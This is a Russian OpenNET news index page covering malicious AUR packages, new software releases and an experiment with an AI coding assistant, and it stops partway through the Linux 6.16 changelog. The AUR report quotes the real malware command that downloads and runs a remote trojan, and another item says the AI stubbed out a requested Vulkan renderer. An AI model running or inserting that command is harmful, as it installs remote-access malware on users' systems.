The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

·01.08.2025 В AUR-репозитории Arch Linux выявлены ещё 6 вредоносных пакетов (18 +2)
  В репозитории AUR (Arch User Repository), применяемом в Arch Linux для распространения пакетов от сторонних разработчиков, продолжилась публикация вредоносного кода, интегрированного в пакеты с неофициальными сборками браузеров. В дополнение к выявленным две недели назад вредоносным пакетам firefox-patch-bin, librewolf-fix-bin и zen-browser-patched-bin, в AUR был добавлен пакет google-chrome-stable, также содержащий изменение, устанавливающее вредоносный компонент, предоставляющий удалённый доступ к системе.

В файле PKGBUILD проблемного пакета была определена установка скрипта для запуска браузера google-chrome-stable.sh, в котором среди прочего присутствовала команда 'python -c "$(curl https://segs.lol/9wUb1Z)"', загружавшая вредоносное ПО, распознанное сервисом VirusTotal как троян Spark, позволяющий удалённо управлять системой, запускать процессы, передавать файлы, инспектировать трафик и отправлять скриншоты.

Вредоносный пакет google-chrome-stable был загружен позавчера и был удалён администраторами AUR через несколько часов после появления. Почти сразу после удаления google-chrome-stable в AUR были загружены два вредоносных пакета - "chrome" и "chrome-bin", содержащие аналогичный сценарий установки вредоносного ПО на систему пользователя.

Следом было выявлено ещё три пакета с вредоносным кодом: ttf-mac-fonts-all, ttf-ms-fonts-all и gromit.

  1. OpenNews: В AUR-репозитории Arch Linux выявлены вредоносные пакеты
  2. OpenNews: Релиз Aura 4.0.0, пакетного менеджера для Arch Linux
  3. OpenNews: Выпуск пакетного менеджера pacstall 5.0, развивающего аналог AUR для Ubuntu
  4. OpenNews: Эксперимент по получению контроля над пакетами в репозитории AUR
  5. OpenNews: В AUR-репозитории Arch Linux найдено вредоносное ПО
Обсуждение (18 +2) | Тип: Проблемы безопасности |
·01.08.2025 Представлен Proton Authenticator, генератор одноразовых паролей для двухфакторной аутентификации (91 +15)
  Швейцарская компания Proton AG, развивающая сервисы Proton Mail, Proton Drive и Proton VPN, представила открытое приложение Proton Authenticator, предназначенное для аутентификации при помощи одноразовых паролей с ограниченным сроком действия, генерируемых при помощи алгоритма TOTP (Time-based One-Time Password). Proton Authenticator может применяться как более функциональная замена проприетарным аутентификаторам, таким как Google Authenticator, Microsoft Authenticator, Authy и Duo, а также в качестве альтернативы открытым проектам FreeOTP и oathtool. Код Proton Authenticator распространяется под лицензией GPLv3. Доступны как мобильные приложения для Android и iOS, так и настольные программы для Linux, macOS и Windows. При разработке в зависимости от платформы применяются языки Kotlin, Swift и Rust.

Среди возможностей и отличительных особенностей Proton Authenticator:

  • Поддержка создания шифрованных резервных копий исходных секретных ключей для их сохранения на локальном носителе или размещения в облаке.
  • Поддержка синхронизации ключей между несколькими устройствами пользователя с применением сквозного шифрования.
  • Возможность ограничения доступа к приложению при помощи биометрической аутентификации или PIN-кода.
  • Возможность доступа к кодам в offline-режиме, без необходимости наличия сетевого соединения. Для получения ключей может использоваться QR-код.
  • Отсутствие встроенной рекламы и трекеров.
  • Работа без подключения к учётной записи в сервисах Proton.
  • Отсутствие привязки к одному производителю.
  • Функции импорта и экспорта для миграции ключей между разными платформами. Поддержка импорта ключей из Google authenticator, 2FAS, Aegis Authenticator, Bitwarden Authenticator, Ente Auth и LastPass Authenticator.

Алгоритм TOTP позволяет генерировать на локальном устройстве пользователя одноразовые коды подтверждения и проверять их на внешнем сервере, используя в качестве параметров секретный ключ и текущее время. Для генерации пароля обмен данными между клиентом и сервером не требуется (достаточно один раз инициализировать ключ, распознав показанный сервером QR-код или импортировав ключ вручную). Время жизни одноразового пароля обычно ограничивается 30 секундами, после чего требуется генерация нового пароля. Пароль генерируется путём вычисления хэша SHA-1, SHA-256 или SHA-512 над сочетанием из ключа и очередного интервала времени, и использования нескольких младших битов хэша для выделения проверочных цифр.

  1. OpenNews: Релиз Vaultwarden 1.23, альтернативного сервера для менеджера паролей Bitwarden
  2. OpenNews: Релиз менеджера паролей KeePassXC 2.7
  3. OpenNews: Небезопасное хранение данных в менеджерах паролей для платформы Android
  4. OpenNews: Уязвимость в библиотеке OpenPGP.js, позволяющая обойти верификацию сообщений
  5. OpenNews: Proton Mail представил высокопроизводительную IMAP-библиотеку Gluon
Обсуждение (91 +15) | Тип: Программы |
·01.08.2025 Проект KDE опубликовал дистрибутив KDE Linux Testing Edition (106 +15)
  Проект KDE начал публикацию тестовых сборок собственного дистрибутива KDE Linux - KDE Linux Testing Edition, а также разместил на основном сайте kde.org страницу, посвящённую дистрибутиву. Для установки доступны системные образы (5.2 ГБ) для создания загрузочных USB-накопителей, работающих в Live-режиме. KDE Linux позиционируется как эталонная реализация Linux-дистрибутива для рабочего стола и приложений KDE, оптимально сочетаемая с технологиями KDE и развиваемая без посредников разработчиками KDE.

Редакция KDE Linux Testing Edition основывается на master-ветке в Git и рассчитана на тестирование, контроль качества и отслеживание процесса разработки. Сборки будут обновляться ежедневно и отражать текущее состояние разработки компонентов проекта. Основной целевой аудиторией KDE Linux Testing Edition называются разработчики KDE и пользователи, желающие принять участие в контроле качества, проверке новых возможностей и выявлении ошибок.

Из ограничений отмечается отсутствие поддержки старых GPU NVIDIA - поддерживаются только GPU на базе микроархитектуры Turing (GTX 16xx) и новее из-за отсутствия их поддержки в открытых модулях ядра (лицензионные ограничения не позволяют включить в состав образа проприетарные модули с поддержкой старых GPU). Для работы доступен только графический сеанс на базе Wayland.

В будущем планируют сформировать редакцию для энтузиастов и опытных пользователей (Enthusiast Edition), предоставляющую доступ к самым свежим релизам и бета-версиям KDE Plasma, а также стабильную сборку (Stable Edition), предлагающую финальные релизы после проведения дополнительного тестирования и стабилизации. В целом, KDE Linux преподносится как универсальный продукт, пригодный для разработчиков KDE, обычных пользователей и OEM-производителей оборудования.

Дистрибутив основан на пакетной базе Arch Linux, но оформлен в форме неделимого образа, не применяющего разбивку на отдельные пакеты, монтируемого в режиме только для чтения и обновляемого атомарно. Дистрибутивом поддерживаются повторяемые сборки, позволяющие любому желающему верифицировать процесс сборки дистрибутива. Все пользовательские (/home) и изменяемые системные данные хранятся в зашифрованных разделах. В качестве загрузчика задействован systemd-boot, поддерживающий загрузку только в режиме EFI.

Для обновления используются два дисковых раздела - обновление загружается в пассивный раздел, который после перезагрузки становится активным, а прошлый активный раздел переводится в пассивный режим и ожидает установки следующего обновления. В случае возникновения проблем после установки обновления предоставляется возможность отката на прошлое состояние системы. Переключение между разными состояниями системы реализовано через механизм снапшотов Btrfs. Для установки обновлений с использованием атомарного механизма замены разделов применяется компонент systemd-sysupdate и утилита updatectl.

Система отделена от приложений - дополнительные приложения могут быть установлены в домашний каталог в форматах AppImage, Snap или Flatpak. Кроме того, в состав входят инструментарии Distrobox и Toolbox, позволяющие создавать в домашнем каталоге контейнеры для установки произвольных пакетов из других дистрибутивов. Пользователь также может использовать утилиту systemd-sysext для установки образов расширения системы (System Extension), содержимое которых накладывается на иерархию /usr/ при помощи OverlayFS.

  1. OpenNews: Проект KDE развивает собственный дистрибутив KDE Linux
  2. OpenNews: Сформированы сборки KDE Neon на базе Ubuntu 24.04
  3. OpenNews: Превращение сборки Fedora c KDE в базовую редакцию дистрибутива
  4. OpenNews: Превращение GNOME OS в дистрибутив для обычных пользователей
  5. OpenNews: Дистрибутив GNOME OS перешёл на стадию тестирования на реальном оборудовании
Обсуждение (106 +15) | Тип: Программы |
·31.07.2025 Компания Vivo открыла код ядра BlueOS, написанного на языке Rust (282 +40)
  Компания Vivo, занимающая около 10% мирового рынка смартфонов (5 место среди производителей смартфонов), представила первый официальный открытый релиз ядра операционной системы BlueOS (Blue River OS). Операционная система BlueOS развивается с 2018 года и уже используется в умных часах серии Vivo Watch. Vivo также работает над применением BlueOS в умных очках, роботах, умных терминалах и потребительских AI-устройствах. Код ядра написан на языке Rust и открыт под лицензией Apache 2.0. На Rust также написаны системные фреймворки BlueOS.

Операционная система BlueOS изначально развивается с оглядкой на обеспечение безопасности и использует язык Rust для предотвращения появления уязвимостей, вызванных ошибками при работе с памятью, которые по статистике Google и Microsoft составляют 70% от всех уязвимостей в операционных системах. Для обеспечения безопасной работы с памятью в BlueOS используется комбинация из применения умных указателей во время выполнения и проверок на этапе компиляции, предоставляемых языком Rust (отслеживание владения объектами, проверка заимствования переменных, учёт времени жизни объектов).

Ядро BlueOS (Blue River Kernel) оптимизировано для минимального потребления ресурсов и может использоваться на встраиваемых платформах, мобильных устройствах и системах интернета вещей. В минимальной конфигурации ядро требует для своей работы всего 13 КБ оперативной памяти. При этом ядро поддерживает современные процессорные архитектуры, включая ARM и RISC-V. Поверх ядра реализована стандартная библиотека Си, поддерживающая программные интерфейсы, определённые в стандарте POSIX, а также библиотека rust-std.

Ядро предоставляет планировщик задач, файловую систему, механизм управления памятью, сетевой стек и набор драйверов. Поддерживается несколько алгоритмов планирования задач, среди которых как алгоритмы для равномерного распределения квантов времени между процессами, так и алгоритмы для работы в режиме реального времени на основе расчёта приоритетов. Доступно несколько алгоритмов выделения памяти, оптимизированных для разных сценариев использования.

Предоставляется собственная файловая система c классической иерархической архитектурой на базе inode, а также файловые системы tmpfs, devfs, sysfs, procfs, nfs и fat32. TCP/IP стек поддерживает POSIX Socket API, socketfd и обработку данных в блокирующем и не блокирующем режимах, и может использоваться в конфигурациях с несколькими сетевыми картами. Для снижения накладных расходов при передаче данных применяется архитектура zero-copy, исключающая промежуточную буферизацию.

Для разработки драйверов предлагается слой для абстрагирования доступа к оборудованию, позволяющий создавать драйверы на языке Rust, а также переносить драйверы на языке Си, уже созданные для других ядер. Документация к ядру пока ограничивается инструкциями по сборке и тестированию, а также подсказками по реализации своих системных вызовов и описанию базовых типов данных. Для тестирования предлагается использовать QEMU (mps2-an385, mps3-an547, virt-aarch64, virt-riscv64) или плату Raspberry Pi Pico2.

  1. OpenNews: В Китае запущен спутник с real-time подсистемой ядра Linux, написанной на Rust
  2. OpenNews: Операционная система Munal на Rust
  3. OpenNews: Выпуск операционной системы Redox OS 0.9, написанной на языке Rust
  4. OpenNews: Ядро Maestro, написанное на Rust и частично совместимое с Linux
  5. OpenNews: Проект Asterinas развивает ядро на языке Rust, совместимое с Linux
Обсуждение (282 +40) | Тип: К сведению | Интересно
·30.07.2025 Эксперимент по использованию AI для перевода приложения с GTK2 и OpenGL на GTK4 и Vulkan (336 +24)
  Кристиан Шаллер (Christian Schaller), возглавляющий Fedora Desktop Team и группу по развитию десктоп-систем в компании Red Hat, опубликовал результаты оценки пригодности применения больших языковых моделей в процессе разработки графических приложений для Linux. В качестве эксперимента он воспользовался AI-ассистентом Claude для перевода устаревшего графического приложения Xtraceroute на актуальные технологии.

Приложение Xtraceroute, визуализирующее путь сетевых пакетов на 3D-глобусе, изначально было написано с использованием GTK1 и OpenGL, и в начале 2000-х годов было портировано на GTK2, после чего 20 лет не обновлялось. Благодаря применению AI-ассистента, Кристиану потребовалось около пяти часов для портирования данного приложения на GTK4 и графический API Vulkan.

Было:

Стало:

Затем Кристиан воспользовался AI для создания на основе подготовленного порта нового приложения, демонстрирующего местоположение офисов Red Hat на глобусе и показывающего в нижней части окна новости компании. Кристиан также высказал идею задействования AI для автоматизации проверки дополнений к GNOME Shell и генерации патчей с учётом изменений, вносимых в новых выпусках GNOME Shell.

По мнению Кристиана в сообществе присутствует скептическое и негативное отношение к применению AI, и проведённым экспериментом он хотел показать другим разработчикам СПО, что не стоит игнорировать возможности, которые предоставляет AI для упрощения процесса разработки. Например, AI экономит время, избавляя от необходимости разбирать документацию на API, отслеживать изменения в API и подбирать правильные вызовы, а также значительно упрощает написание тестов.

При этом AI рассматривается как инструмент, помогающий в разработке, но не снимающий ответственности за добавляемый код и требующий проверки и контроля качества. Как пример показана попытка сгенерировать код для встраивания поддержки отображения документов PDF в приложение. AI предложил код, использующий браузерный движок WebKit для отрисовки, который работал, но добавлял огромную новую зависимость. После уточнения задачи, AI предоставил код, использующих для отрисовки PDF компактную библиотеку libpoppler.

В настоящее время ведущие AI-ассистенты работают в форме внешних online-сервиcов, что вызывает опасения, связанные с безопасностью и конфиденциальностью. Для решения этой проблемы Red Hat развивает собственный инструмент генерации кода Granite.code на базе открытой большой языковой модели Granite, позволяющий запустить AI-модель на компьютере разработчика. Данный проект пока отстаёт по возможностям от таких систем, как Claude, Gemini и ChatGPT, но решает проблему с передачей данных третьему лицу и устраняет зависимость рабочих процессов от внешнего сервиса.

Дополнение: AI-ассистент добавил вместо процедуры рендера на базе Vulkan пустую заглушку без кода, а сам рендер выполнялся попиксельно на CPU. Кристиан признал, что для него это будет уроком и нужно было тщательнее проверять код. AI использовал Vulkan, но для GTK, а не для отрисовки глобуса. При этом AI выполнил данное ему задание "использовать Vulkan", но не так как ожидал разработчик.

  1. OpenNews: Google использовал большую языковую модель для выявления уязвимости в SQLite
  2. OpenNews: Удалённая уязвимость в модуле ksmbd ядра Linux, выявленная при помощи AI
  3. OpenNews: Браузерные дополнения вовлекают в построение распределённой сети скрапинга для AI-ботов
  4. OpenNews: Оценка эффективности применения AI-инструментов выявила замедление, а не ускорение разработки
  5. OpenNews: Представлены правила для AI-ассистентов, применяемых при разработке ядра Linux
Обсуждение (336 +24) | Тип: Тема для размышления |
·29.07.2025 Выпуск системной библиотеки Glibc 2.42 и набора утилит GNU Binutils 2.45 (138 +20)
  После шести месяцев разработки опубликован релиз системной библиотеки GNU C Library 2.42 (glibc), которая полностью следует требованиям стандартов ISO C23 и POSIX.1-2024. В создании нового выпуска приняли участие 70 разработчиков.

Из реализованных в Glibc 2.42 улучшений можно отметить:

  • В функцию pthread_create добавлена поддержка легковесных сторожевых страниц для защиты стека (stack guard page), обращение к которым вызывает исключение и аварийное завершение процесса (SIGSEGV). Реализация основана на появившемся в системном вызове madvise флаге MADV_GUARD_INSTALL, поддерживаемом начиная с ядра Linux 6.13. По сравнению с маппингом в режиме PROT_NONE сторожевые страницы позволяют более эффективно блокировать выполнение кода за пределами выделенной области памяти, так как их создание не требует выделения новой области виртуальной памяти.
  • Добавлены и отражены в заголовочном файле math.h новые функции возведения в степень и вычислений корней compoundn, pown и powr, rootn и rsqrt, определённые в стандарте ISO C23. Варианты функций реализованы для типов float, double, long double, _FloatN и _FloatNx, а также для обобщённого типа из tgmath.h.
  • На платформе Linux реализована функция pthread_gettid_np, которая, как и функция gettid(), возвращает уникальный идентификатор потока, но отличается расширенной проверкой ошибок (при возникновении неопределённого поведения процесс завершается).
  • Добавлены функции для вычисления абсолютных значений, возвращающие беззнаковые типы: uabs, ulabs, ullabs и uimaxabs. Данные функции войдут в состав будущего стандарта Си.
  • На платформе Linux в программном интерфейсе termios.h реализована поддержка произвольных значений скорости передачи. Тип speed_t переопределён и теперь соответствует типу "unsigned int", как в ядре Linux.
  • В локальный для потоков кэш (tcache), используемый в функции malloc, добавлена поддержка кэширования больших блоков памяти. Максимальный размер блока может быть переопределён через настройку glibc.malloc.tcache_max, которая может принимать значения вплоть до 4194304. Ускорена работа кэша для блоков небольшого размера.
  • В сборочный скрипт configure добавлена опция "--enable-sframe", включающая поддержку формата SFrame, применяемого для представления информации о трассировке стека и поддерживаемого функцией backtrace. Для использования SFrame требуется как минимум версия binutils 2.45.
  • Из проекта CORE-MATH перенесены оптимизированные варианты математических функций acospif, asinpif, atanpif, atan2pif, cospif, sinpif и tanpif.
  • Значительно расширен тестовый набор, который теперь охватывает работу различных вариантов семейств функций printf и scanf.
  • Добавлен код для определения процессоров Intel на базе микроархитектуры Arrow Lake, Panther Lake, Clearwater Forest и Diamond Rapids.
  • Добавлена поддержка платформы z17 (новое поколение мейнфреймов IBM Z/S390).
  • В настройку glibc.rtld.execstack добавлена поддержка режима совместимости для поддержки программ, требующих исполняемого стека через динамически загружаемые библиотеки.
  • Удалены заголовочный файл termio.h и определение структуры termio из sys/ioctl.h. Программный интерфейс termio.h объявлен устаревшим ещё в POSIX.1 (1988 год) и заменён на termios.h.
  • Для сборки Glibc теперь требуются как минимум выпуски GCC 12.1 и GNU Binutils 2.39.
  • Устранены уязвимости:
    • CVE-2025-0395 - переполнение буфера при выполнении функции assert(). Переполнение возникает при указании слишком большого имени программы (argv[0]). Проблема рассматривается как неопасная, так как за пределы буфера записывается 4 байта, содержимое которых не может контролировать атакующий. При этом интересен сам факт появления в отладочных функциях уязвимости, возникающей из-за ошибки при выводе имени текущего приложения.
    • CVE-2025-5702, CVE-2025-5745 - уязвимости в реализации функций strcmp и strncmp для процессоров Power10, приводящие к сбою при сохранении и восстановлении векторных регистров v20-v31, которые должны сохраняться между вызовами функций. Уязвимость может использоваться для перезаписи или определения содержимого данных регистров, используемых другой функцией.
    • CVE-2025-8058 - уязвимость в функции regcomp, приводящая к двойному освобождению памяти (double-free).

Дополнительно можно отметить выпуск набора системных утилит GNU Binutils 2.45, в состав которого входят такие программы, как GNU linker, GNU assembler, nm, objdump, strings, strip.

В новой версии Binutils:

  • В GNU assembler:
    • Добавлена поддержка последних расширений для архитектур RISC-V, LoongArch и AArch64. Для x86 добавлена поддержка инструкций XMODX, реализованных в процессорах Zhaoxin PadLock. Для RISC-V добавлена поддержка инструкций ssqosid v1.0, ssnpm v1.0, smnpm v1.0, smmpm v1.0, sspm v1.0, supm v1.0, sha v1.0, zce v1.0, smcdeleg v1.0, ssccfg v1.0, svvptc v1.0, zilsd v1.0, zclsd v1.0, smrnmi v1.0, xtheadvdot v1.0, xmipscbop v1.0, xmipscmov v1.0, xmipsexectl v1.0 и xmipslsp v1.0.
    • Обеспечена совместимость генерации данных в формате SFrame со спецификацией SFrame V2. Добавлена поддержка генерации информации о трассировке стека (.sframe) из директив CFI на 64-разрядных системах s390 (s390x).
    • Добавлена поддержка директив .errif и .warnif для вывода диагностических сообщений при срабатывании определённых условий.
  • В компоновщике в опции "--stats" реализована поддержка опционального аргумента, через который можно указать имя файла для сохранения информации о потреблении ресурсов на разных стадиях компоновки. Имя файла также можно указать через переменную окружения LD_STATS. Для систем RISC-V в компоновщик добавлена поддержка новых форматов PLT (Procedure Linkage Table).
  • Внесены разнообразные улучшения, связанные с поддержкой формата SFrame. Функции для работы с SFrame вынесены в версионированную библиотеку libsframe.so.2.
  • В дизассемблере и утилите readelf расширена поддержка архитектуры RISC-V.

  1. OpenNews: Уязвимость в Glibc, затрагивающая статически собранные suid-файлы с dlopen
  2. OpenNews: Выпуск системной библиотеки Glibc 2.41
  3. OpenNews: Уязвимость в OpenSSH, позволяющая удалённо выполнить код с правами root на серверах с Glibc
  4. OpenNews: Уязвимость в Glibc, эксплуатируемая через скрипты на PHP
  5. OpenNews: Выпуск GNU Binutils 2.44
Обсуждение (138 +20) | Тип: Программы |
·28.07.2025 Релиз ядра Linux 6.16 (161 +41)
  После двух месяцев разработки Линус Торвальдс представил релиз ядра Linux 6.16. Среди наиболее заметных изменений: драйвер для ускорения OpenVPN, механизм Kexec HandOver, включение по умолчанию пятиуровневых таблиц страниц памяти для x86, удаление протокола DCCP, блочный драйвер zloop, возможность отправки core-дампов через UNIX-сокет, поддержка атомарной записи в XFS, offload-обработка звука для USB-устройств, оптимизации в Ext4, виртуальный драйвер TPM (Trusted Platform Module), полноценная реализация Device Memory TCP, поддержка неименованных каналов в io_uring, подготовка к интеграции DRM-драйвера Asahi, механизм "usermode queue" в драйвере AMDGPU, поддержка Intel TDE (Trusted Domain Extensions) и Intel APE (Advanced Performance Extensions).

В новую версию принято 15924 исправления от 2145 разработчиков, размер патча - 50 МБ (изменения затронули 13793 файла, добавлена 655451 строка кода, удалена 316441 строка). В прошлом выпуске было 15945 исправлений от 2154 разработчиков, размер патча - 59 МБ . Около 45% всех представленных в 6.16 изменений связаны с драйверами устройств, примерно 16% изменений имеют отношение к обновлению кода, специфичного для аппаратных архитектур, 13% связано с сетевым стеком, 4% - с файловыми системами и 3% c внутренними подсистемами ядра.

Основные новшества в ядре 6.16:

  • Дисковая подсистема, ввод/вывод и файловые системы
    • Добавлен драйвер zloop для создания зонированных блочных loopback-устройств, монтируемых в loop-режиме. Драйвер эмулирует работу обычных блочных устройств, используя несколько файлов из существующей файловой системы (по одному файлу для хранения каждой зоны). Данная возможность может быть полезной для тестирования файловых систем, обработчиков device mapper и приложений на предмет поддержки в них зонированных устройств, применяющих разделение на зоны групп блоков или секторов, в которые допускается лишь последовательное добавление данных с обновлением целиком всей группы блоков.
    • В файловой системе XFS реализована поддержка атомарной записи больших порций данных - несколько блоков теперь могут быть записаны в атомарном режиме (либо все блоки будут записаны успешно, либо ни один блок не будет записан).
    • В файловой системе Ext4 повышена производительность механизма "fast commit". Добавлена поддержка больших фолиантов страниц памяти (large folios) для обычных файлов, что в проведённых тестах на 37% повысило производительность при интенсивном последовательном вводе/выводе. Добавлена поддержка атомарных операций записи, охватывающих несколько блоков.
    • В драйвере для файловой системы ext2 объявлена устаревшей поддержка механизма DAX, обеспечивающего прямой доступ к ФС в обход страничного кэша. Удаление DAX из драйвера ext2 намечено на конец года. В качестве причины упоминается рассмотрение драйвера ext2 как стабильной эталонной реализации, в которой недопустимо использование специфичных возможностей, не получивших должного распространения.
    • Файловые системы OrangeFS, UFS, BFS и OMFS переведены на использование нового API монтирования разделов.
    • В sysctl добавлена настройка vfs_cache_pressure_denom, для управления числом записей в кэше "dentry" (внутреннее представление элементов каталогов) в условиях нехватки памяти в системе. Чем больше выставлено значение, тем больше может быть вытеснено записей из кэша (меньше записей останется в кэше) при нехватке памяти.
    • В ФС Bcachefs добавлена опция "rebalance_on_ac_only", запрещающая выполнение операций ребалансировки и фонового сжатия при питании системы от аккумулятора. Ускорены операции удаления снапшотов и устройств. Снижено потребление памяти при монтировании в режиме только для чтения. Добавлена возможность запуска некоторых операций восстановления после сбоя в фоновом режиме, не останавливая работу с ФС.
    • Подсистеме управления питанием разрешено самостоятельно выполнять заморозку файловых систем и переменных EFI для ждущего и спящего режимов (если ФС уже заморожены обработчиком в пространстве пользователя повторная заморозка не производится).
    • Добавлена возможность ускорения работы EROFS при помощи встроенного в процессоры Intel ускорителя QAT (QuickAssist Technology), предлагающего средства для ускорения вычислений, связанных со сжатием и шифрованием.
    • В NFS с 1 до 4 МБ увеличен максимальный размер порции данных для операций чтения и записи (по умолчанию выставлено значение 1 МБ, так как не все клиенты поддерживают больший размер).
    • Непривилегированным пользователям, имеющим права CAP_SYS_ADMIN в отдельном пространстве имён идентификаторов пользователя (user namespace), но не имеющим расширенных прав в корневом пространстве имён, предоставлена возможность использования механизма fanotify для отслеживания изменений в файловых системах.
    • Для файловых систем, использующих подсистему FUSE, предоставлена функциональность для очистки разом всех прокэшированных записей о каталогах (dentries). В подсистему FUSE добавлена поддержка больших фолиантов страниц памяти.
    • В ФС ОverlayFS реализована поддержка создания в непривилегированных пространствах имён слоёв с данными, для которых используется контроль целостности на базе модуля dm-verity. Указанная возможность позволяет комбинировать заслуживающие доверия слои с метаданными с не заслуживающими доверия слоями с данными, обрабатываемыми в непривилегированных пространствах имён.
  • Память и системные сервисы
    • Добавлен механизм KHO (Kexec HandOver) для запуска нового ядра из старого без потери состояния системы. До передачи управления новой версии ядра, состояние ключевых подсистем ядра при помощи KHO может быть сериализировано в область памяти, которая не будет затронута дальнейшими операциями. Новое ядро, получив управление, восстанавливает сериализированное состояние обратно. На базе KHO развивается подсистема Live Update Orchestrator (LUO), позволяющая перезагружать ядро без остановки работы устройств.
    • Добавлен параметр сборки ядра CONFIG_X86_NATIVE, позволяющая использовать при компиляции опцию "-march=native" для оптимизации с учётом возможностей процессора на текущей системе.
    • Добавлена поддержка расширения архитектуры набора команд Intel APX (Advanced Performance Extension), предоставляющего 16 дополнительных регистров общего назначения (в дополнение к 16 имеющимся), что позволяет использовать в коде меньше операций чтения и записи в память для повышения производительности и снижения потребления энергии.
    • Добавлен режим автоматической настройки политики распределения памяти в NUMA-системах, при котором все веса узлов пересчитываются при появлении новой информации о пропускной способности во время загрузки или при горячем подключении памяти.
    • В реализации futex-ов появилась поддержка локальной хэш-таблицы процессов (local futex_hash_bucket), которая в отличие от ранее поддерживаемой общей хэш-таблицы для всех процессов, является локальной для отдельного процесса и совместно используется всеми потоками этого процесса. Локальные хэш-таблицы применяются только для futex-операции PROCESS_PRIVATE. Кроме того, в новом выпуске добавлена поддержка опций FUTEX2_NUMA и FUTEX2_MPOL, позволяющих влиять на размещение futex-ов в памяти, для их помещения ближе к процессам, которые их используют.
    • Для систем x86_64 включена постоянная поддержка пятиуровневых таблиц страниц памяти (параметр CONFIG_X86_5LEVEL, управлявший включением пятиуровневых таблиц, удалён).
    • В драйвер intel_pstate, управляющий параметрами энергопотребления (P-state) на системах с процессорами Intel, добавлена поддержка работы планировщика задач с учётом потребления энергии (EAS - Energy Aware Scheduling) на гибридных процессорах, сочетающих высокопроизводительные и энергоэффективные ядра CPU, таких как Intel Lunar Lake.
    • В sysfs добавлены интерфейсы: "/sys/devices/system/cpu/cpuN/cpu_capacity" для получения сведений о возможностях различных CPU в гибридных процессорах и "/sys/devices/system/cpu/cpuidle/intel_c1_demotion" для управления возможностью оставления CPU в более производительном состоянии, даже если ядро пытается перевести CPU в более низкое состояние энергопотребления (например, ядро может запросить переход в состояние энергопотребления C6, но прошивка при большой интенсивности пробуждения CPU может оставить его в состоянии C1).
    • Для архитектуры ARM64 включена поддержка режима ленивого вытеснения задач (PREEMPT_LAZY, lazy preemption), который соответствует режиму полного вытеснения ("full preemption") для realtime-задач (RR/FIFO/DEADLINE), но задерживает вытеснение обычных задач (SCHED_NORMAL) до границы тика.
    • Для архитектуры ARM64 добавлена поддержка использования расширений SME (Scalable Matrix Extension), включаемая через параметр CONFIG_ARM64_SME.
    • Продолжен перенос изменений из ветки Rust-for-Linux, связанных с использованием языка Rust в качестве второго языка для разработки драйверов и модулей ядра (поддержка Rust не активна по умолчанию, и не приводит ко включению Rust в число обязательных сборочных зависимостей к ядру). Для модулей, написанных на языке Rust, предоставлена возможность использования configfs. Добавлены абстракции, необходимые для разработки графических драйверов. Расширены возможностей модулей alloc, time, str, list, workqueue и page. Добавлена поддержка макроса "assert!" в тестах на базе KUnit. Добавлен набор абстракций для управления частотой CPU и использования API, связанных с управлением энергопотреблением. Добавлена поддержка структуры данных 'xarray'.
    • Для архитектуры RISC-V перенесена реализация системного вызова getrandom(), оптимизированная при помощи механизма vDSO (virtual dynamic shared object), дающего возможность перенести обработчик системного вызова из ядра в пространство пользователя и избежать переключений контекста. В проведённых тестах оптимизация ускорила получение случайных чисел в 17 раз. Для RISC-V также реализована поддержка векторных расширений Zicbop, Zabha и Svinval, применяемых в процессорах SiFive.
    • Для архитектуры LoongArch лимит на число CPU в системе поднят с 256 до 2048. Добавлена поддержка планировщика задач SCHED_MC (Multi-core).
    • Добавлена возможность использования Unix-сокетов для передачи файловых дескрипторов. Для отключения подобной возможности приложения могут использовать в setsockopt() флаг SO_PASSRIGHTS.
    • Предоставлена возможность маппинга кольцевого буфера, применяемого для трассировки работы ядра, в память пространства пользователя.
    • Обработчики crash-dump, применяемые для формирования отчёта о проблеме после аварийного завершения работы ядра, теперь могут задействовать использовавшиеся сбойным ядром LUKS-ключи для сохранения crash-дампов в шифрованные ФС.
    • В систему асинхронного ввода/вывода io_uring добавлена операция IORING_OP_PIPE для создания неименованных каналов, которая аналогична системному вызову pipe2, за исключением поддержки фиксированных файловых дескрипторов.
    • Добавлена опция командной строки ядра "rt_group_sched" для управления включением планировщика выполнения групп realtime-задач (SCHED_RR). Опция аналогична настройке RT_GROUP_SCHED в Kconfig.
    • Для устройств на базе шины CXL (Compute Express Link), применяемой для организации высокоскоростного взаимодействия CPU с устройствами памяти, реализована поддержка расширений RAS (Reliability, Availability, Serviceability), позволяющих реализовывать различные схемы определения и коррекции ошибок. CXL позволяет подключать новые области памяти, предоставляемые внешними устройства памяти, и использовать их как дополнительные ресурсы физического адресного пространства для расширения системной оперативной памяти (DDR) или постоянной памяти (PMEM).
    • Необходимая для сборки ядра минимальная версия GCC для всех архитектур поднята до ветки GCC 8. Для сборки теперь также необходима как минимум версия пакета binutils 2.30.
    • Удалён системный вызов uselib(), который уже давно объявлен устаревшим и вместо него для совместного доступа программ к разделяемым библиотекам используется mmap().
  • Виртуализация и безопасность
    • Добавлена начальная поддержка использования механизма Intel TDX (Trusted Domain Extensions) для защиты гостевых систем, работающих под управлением гипервизора KVM, от вмешательства и анализа со стороны администратора хост-системы и физических атак на оборудование. Защита обеспечивается за счёт шифрования памяти виртуальных машин.
    • Добавлен виртуальный драйвер TPM (Trusted Platform Module), позволяющий виртуальным машинам взаимодействовать с TPM-устройствами (Trusted Platform Module), эмулируемыми модулем SVSM (Secure VM Service Module).
    • Возобновлена возможность использования GCC-плагина randstruct, рандомизирующего раскладку структур данных на этапе компиляции для усложнения эксплуатации уязвимостей.
    • Добавлена возможность использования технологии IMA (Integrity Measurement Architecture) для проверки целости при запуске новых ядер при помощи системного вызова kexec.
    • Проведена работа по сокращению влияния на производительность использования SELinux. Для ускорения работы добавлен кэш с результатами проверок доступа к каталогам. В правила genfscon добавлена возможность использования масок.
    • В коде для взаимодействия с EFI предоставлена возможность встраивания секции SBAT (UEFI Secure Boot Advanced Targeting) с метаданными об отозванных версиях загрузочных компонентов.
    • В загружаемых модулях осуществлён перевод секции ".static_call_sites" в режим только для чтения после завершения инициализации.
    • Для 64-разрядных систем ARM в гипервизоре KVM реализована поддержка вложенной виртуализации (отключена по умолчанию).
    • В гипервизоре KVM объявлена стабильной поддержка архитектуры RISC-V.
  • Сетевая подсистема
